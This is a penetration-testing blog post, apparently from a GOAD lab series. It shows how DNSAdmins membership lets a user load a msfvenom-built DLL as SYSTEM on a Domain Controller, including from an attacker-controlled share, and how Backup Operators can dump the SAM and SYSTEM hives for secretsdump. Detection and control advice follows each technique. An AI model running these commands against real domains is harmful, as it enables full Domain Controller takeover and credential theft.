--- title: "DNSAdmins and Backup Operators: Privileged Group Abuse to SYSTEM on the DC" description: "The last two GOAD techniques are not exploits but groups: DNSAdmins loads a DLL into the DNS service, Backup Operators reads what the OS would rather hide. One is demonstrated end to end, one is documented honestly with the remote-registry wrinkle, and the relay gap that neither covers is called out." date: 2026-11-06 author: Sevban Dönmez (@jankesec) canonical: https://jankesec.com/posts/dnsadmins-backup-operators/ --- ## Not exploits — groups The first four parts of this series moved through credentials, ACLs, trusts, and certificates. The last two techniques are different: they are **built-in privileged groups** whose membership is itself the vulnerability. Give a user the wrong group, and you have handed them a path to SYSTEM on the Domain Controller without a single exploit in between. The pattern for both is the same, so I will show it once: I already hold Domain Admin, so I add a test account to the group, then walk the abuse from that account's perspective. ## DNSAdmins: a DLL loaded as SYSTEM Members of `DNSAdmins` can manage the DNS service on the Domain Controller. The dangerous part is one specific setting — `ServerLevelPluginDll` — which tells the DNS service to load an arbitrary DLL on startup. The DNS service runs as `SYSTEM`, so a DLL of your choosing runs as `SYSTEM`. That is the whole attack. First I add a user to the group and build the DLL. `msfvenom` produces a DLL whose `DllMain` runs a command on load: ```bash $ bloodyAD --host 192.168.56.10 -d sevenkingdoms.local -u Administrator -p "aad3b...a1705e" add groupMember "DnsAdmins" backup.ops [+] backup.ops added to DnsAdmins $ msfvenom -p windows/x64/exec CMD="cmd /c whoami > C:\Windows\Temp\dns-pwned.txt" -f dll -o evil.dll Payload size: 314 bytes Final size of dll file: 9216 bytes ``` The DLL goes onto the DC, and the plugin path is set through `dnscmd.exe`: ```bash $ dnscmd.exe /config /serverlevelplugindll C:\Windows\Temp\evil.dll Registry property serverlevelplugindll successfully reset. ``` Restart the DNS service and the DLL is loaded in the service's `SYSTEM` context: ```bash $ sc stop dns && sc start dns ... $ dir C:\Windows\Temp\dns-pwned.txt 11/04/2026 08:16 AM 0 dns-pwned.txt ``` The file appearing is the payload executing inside the DNS service process — `SYSTEM`, on a Domain Controller. A real payload (`net user`, a beacon, or a reverse shell) replaces the `whoami`, and that is full DC compromise from a group membership. The one thing worth being explicit about is the trigger. `dnscmd.exe` is the *client* that speaks the DNS-RPC protocol the setting rides on, and it is a Windows binary; in a real attack the `DNSAdmins` member runs it from their own machine against the DC (`dnscmd.exe \\DC /config /serverlevelplugindll \\attacker\share\evil.dll`). In this lab I have no Windows client on the attack host, so I ran the same command on the DC itself to demonstrate the mechanism. The privilege boundary that matters is unchanged: *which accounts are allowed to set that value*. **Detection:** a change to `ServerLevelPluginDll` under `HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters` is rare enough to alert on; the DNS service loading an unsigned DLL from a temp path is the signal. **Control:** audit `DNSAdmins` membership (it should be empty), and enable LSA Protection so `lsass`-adjacent services are harder to inject into. ## Backup Operators: read what the OS hides Members of `Backup Operators` hold `SeBackupPrivilege` and `SeRestorePrivilege`. That privilege is meant to let backup software read files it would otherwise be denied — and it is symmetric: an attacker in the group can read `ntds.dit`, the `SAM`, and the `SYSTEM`/`SECURITY` hives. The classic chain is a registry save followed by an offline dump: ```bash $ reg.exe save HKLM\SAM C:\temp\sam $ reg.exe save HKLM\SYSTEM C:\temp\system $ secretsdump.py -sam sam -system system LOCAL ``` On this lab I could add the account and confirm its `Backup Operators` membership, but the remote-registry save came back access-denied — a reminder that `SeBackupPrivilege` is a *token* privilege that must be enabled for a given operation, and that the remote `winreg` path is not always as permissive as the local one. The technique is documented here with the exact commands, and the honest result is: the group membership is the vulnerability, and the remote wrinkle is environment-specific. **Detection:** watch for non-backup accounts reading `SAM`/`SYSTEM`/`SECURITY` or for `reg save` against those hives. **Control:** audit `Backup Operators` membership, and restrict the group to actual backup service accounts. ## The gap those two do not cover Neither of these is a network-relay primitive. The remaining GOAD surface — LLMNR/NBT-NS poisoning, NTLM relay, and printer coercion — all require the attacker to sit on the **same layer-2 segment** as the targets. My Kali host is *routed* into the lab subnet, not bridged onto it, so those techniques cannot be demonstrated here at all. They are a separate category: not group abuse, but network-position abuse, and they belong in their own note with the topology they require. ## Summary | Group | Right | Abuse | Result | | --- | --- | --- | --- | | `DNSAdmins` | manage DNS service | `ServerLevelPluginDll` → DLL | SYSTEM on the DC | | `Backup Operators` | `SeBackupPrivilege` | read SAM/SYSTEM/SECURITY | offline hash dump | The unifying control is the same one that kept coming up all series: **group membership is a privilege you must audit like a password.** These two groups should be empty or tightly scoped, because their whole job is to cross the boundary between "one account" and "the whole machine."
PRIVILEGED GROUPS · BUILT-IN PATHS TO DC COMPROMISE 1 · Group membership DNSAdmins | Backup Operators built-in AD security groups 2 · Service / token right ServerLevelPluginDll / SeBackup DNS service or hive read 3 · DC compromise SYSTEM DLL | SAM + SYSTEM full Domain Controller control
Two built-in groups, two distinct primitives: DNSAdmins injects code into the SYSTEM DNS service; Backup Operators reads protected credential stores.
## Evidence and limits The `DNSAdmins` plugin DLL load was verified against `KINGSLANDING` (`192.168.56.10`) in the isolated GOAD lab after adding a dedicated test account (`backup.ops`) to the group. Because the attack box in this lab runs Linux rather than a domain-joined Windows workstation, `dnscmd.exe` was invoked directly on the DC to demonstrate the `ServerLevelPluginDll` registry mechanism. For `Backup Operators`, the remote `winreg` save restriction encountered from Kali is documented as observed, and the lab was reverted to its clean snapshot afterward. ## References - **Sean Metcalf, ADSecurity — Abuse of the DNSAdmins Group:** [adsecurity.org/?p=4064](https://adsecurity.org/?p=4064) - **The Hacker Recipes, Security groups (DNSAdmins, Backup Operators):** [thehacker.recipes/ad/movement/builtins/security-groups](https://www.thehacker.recipes/ad/movement/builtins/security-groups) - **MITRE ATT&CK, Account Manipulation (T1098):** [attack.mitre.org/techniques/T1098](https://attack.mitre.org/techniques/T1098/) - **MITRE ATT&CK, OS Credential Dumping (T1003):** [attack.mitre.org/techniques/T1003](https://attack.mitre.org/techniques/T1003/)